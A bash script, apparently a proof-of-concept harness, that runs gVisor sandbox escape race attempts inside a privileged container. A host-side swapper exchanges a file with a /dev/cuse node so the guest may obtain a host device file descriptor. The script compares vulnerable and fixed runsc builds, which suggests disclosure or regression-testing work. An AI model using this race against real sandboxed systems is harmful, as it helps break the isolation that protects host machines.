#!/bin/bash
# race_inside.sh - runs as root INSIDE a privileged docker container.
# Drives one or more race attempts of a gVisor sandbox (runsc) against a
# host-controlled tmpfs backing directory while a host-side swapper races
# renameat2(RENAME_EXCHANGE) between a regular file and a /dev/cuse node.
set -uo pipefail

WORK=/work
BIN="$WORK/bin"
RESULTS="$WORK/results"
PLATFORM="${PLATFORM:-systrap}"
SECS="${RACE_SECS:-40}"

mkdir -p "$RESULTS" /run/runsc
mkdir -p /racehost
mountpoint -q /racehost || mount -t tmpfs -o mode=1777 tmpfs /racehost

gen_bundle() {
    rm -rf /bundle
    mkdir -p /bundle/rootfs
    cp "$BIN/guest_racer" /bundle/rootfs/guest_racer
    chmod 755 /bundle/rootfs/guest_racer
    cat > /bundle/config.json <<EOF
{
  "ociVersion": "1.0.2",
  "process": {
    "terminal": false,
    "user": {"uid": 0, "gid": 0},
    "args": ["/guest_racer", "/race/target", "$SECS"],
    "env": ["PATH=/"],
    "cwd": "/",
    "noNewPrivileges": false
  },
  "root": {"path": "rootfs", "readonly": false},
  "hostname": "race",
  "mounts": [
    {"destination": "/proc", "type": "proc", "source": "proc"},
    {"destination": "/dev", "type": "tmpfs", "source": "tmpfs",
     "options": ["nosuid", "strictatime", "mode=755", "size=65536k"]},
    {"destination": "/race", "type": "bind", "source": "/racehost",
     "options": ["rbind", "rw"]}
  ],
  "linux": {
    "namespaces": [
      {"type": "pid"}, {"type": "network"}, {"type": "ipc"},
      {"type": "uts"}, {"type": "mount"}
    ]
  }
}
EOF
}

# fdwatch: while a race attempt runs, watch every container process's open
# FDs for the raced backing path. If the sentry holds a CHARACTER DEVICE FD
# for /racehost/target (which only ever contains our regular file and the
# swapped-in c 10:203 node), the guest won a host device FD. Logs both the
# readlink target and the stat() file type/rdev of the open FD.
fdwatch() {
    local out="$1"
    : > "$out"
    local deadline=$(( $(date +%s) + SECS + 25 ))
    while [ "$(date +%s)" -lt "$deadline" ]; do
        local p fdt tgt info
        for p in /proc/[0-9]*; do
            for fdt in "$p"/fd/*; do
                tgt="$(readlink "$fdt" 2>/dev/null)" || continue
                case "$tgt" in
                    */target|*/swapdev|*cuse*)
                        info="$(stat -Lc '%F major=%t minor=%T' "$fdt" 2>/dev/null)"
                        case "$info" in
                            character*)
                                echo "$(date +%T.%N) CHAR_DEV_FD pid=${p#/proc/} comm=$(cat "$p/comm" 2>/dev/null) fd=${fdt##*/} target=$tgt stat=[$info]" >> "$out"
                                ;;
                        esac
                        ;;
                esac
            done
        done
        sleep 0.1
    done
}

run_attempt() {
    local role="$1" attempt="$2"
    local runsc="$BIN/runsc-$role"
    local ctr="ctr-$role-$attempt"
    echo "=== attempt role=$role attempt=$attempt platform=$PLATFORM ==="
    "$runsc" --version > "$RESULTS/runsc-version-$role.txt" 2>&1 || true
    find /racehost -mindepth 1 -delete 2>/dev/null || true
    gen_bundle
    "$BIN/host_swapper" /racehost $((SECS + 5)) > "$RESULTS/swapper-$role-$attempt.log" 2>&1 &
    local swp=$!
    fdwatch "$RESULTS/fdwatch-$role-$attempt.log" &
    local watcher=$!
    sleep 0.3
    local dbgflags=()
    if [ "$role" = "vuln" ] && [ "$attempt" = "3" ]; then
        # Third vuln attempt runs with --debug so the sentry's type-confusion
        # panic stack ("directfsInode file type changed ...") is captured.
        dbgflags=(--debug "--log=$RESULTS/dbg-$role-$attempt.log")
    fi
    timeout --signal=KILL $((SECS + 30)) "$runsc" \
        --root "/run/runsc-$role" \
        --sidecar-usage-policy=LEGACY_DEPRECATED_SLOW_EMBEDDED_FALLBACK \
        "${dbgflags[@]}" \
        --directfs=true \
        --platform="$PLATFORM" \
        --network=none \
        --ignore-cgroups \
        run --bundle /bundle "$ctr" \
        > "$RESULTS/racer-$role-$attempt.log" 2>&1
    local rc=$?
    echo "$rc" > "$RESULTS/racer-$role-$attempt.exit"
    kill "$swp" "$watcher" 2>/dev/null
    wait "$swp" 2>/dev/null
    wait "$watcher" 2>/dev/null
    grep -m3 CHAR_DEV_FD "$RESULTS/fdwatch-$role-$attempt.log" 2>/dev/null || true
    "$runsc" --root "/run/runsc-$role" delete --force "$ctr" >/dev/null 2>&1 || true
    echo "attempt role=$role attempt=$attempt racer_exit=$rc"
    grep -E "GUEST_WIN|GUEST_NOWIN|CUSE_CHANNEL_READ" "$RESULTS/racer-$role-$attempt.log" || true
    return 0
}

echo "race_inside: platform=$PLATFORM secs=$SECS"
uname -a
ls -l /dev/cuse

for role in vuln fixed; do
    for attempt in 1 2; do
        run_attempt "$role" "$attempt"
    done
done
# Extra vuln attempt with sentry debug logging to capture the panic stack.
SECS=15
run_attempt vuln 3

echo "RACE_INSIDE_DONE"
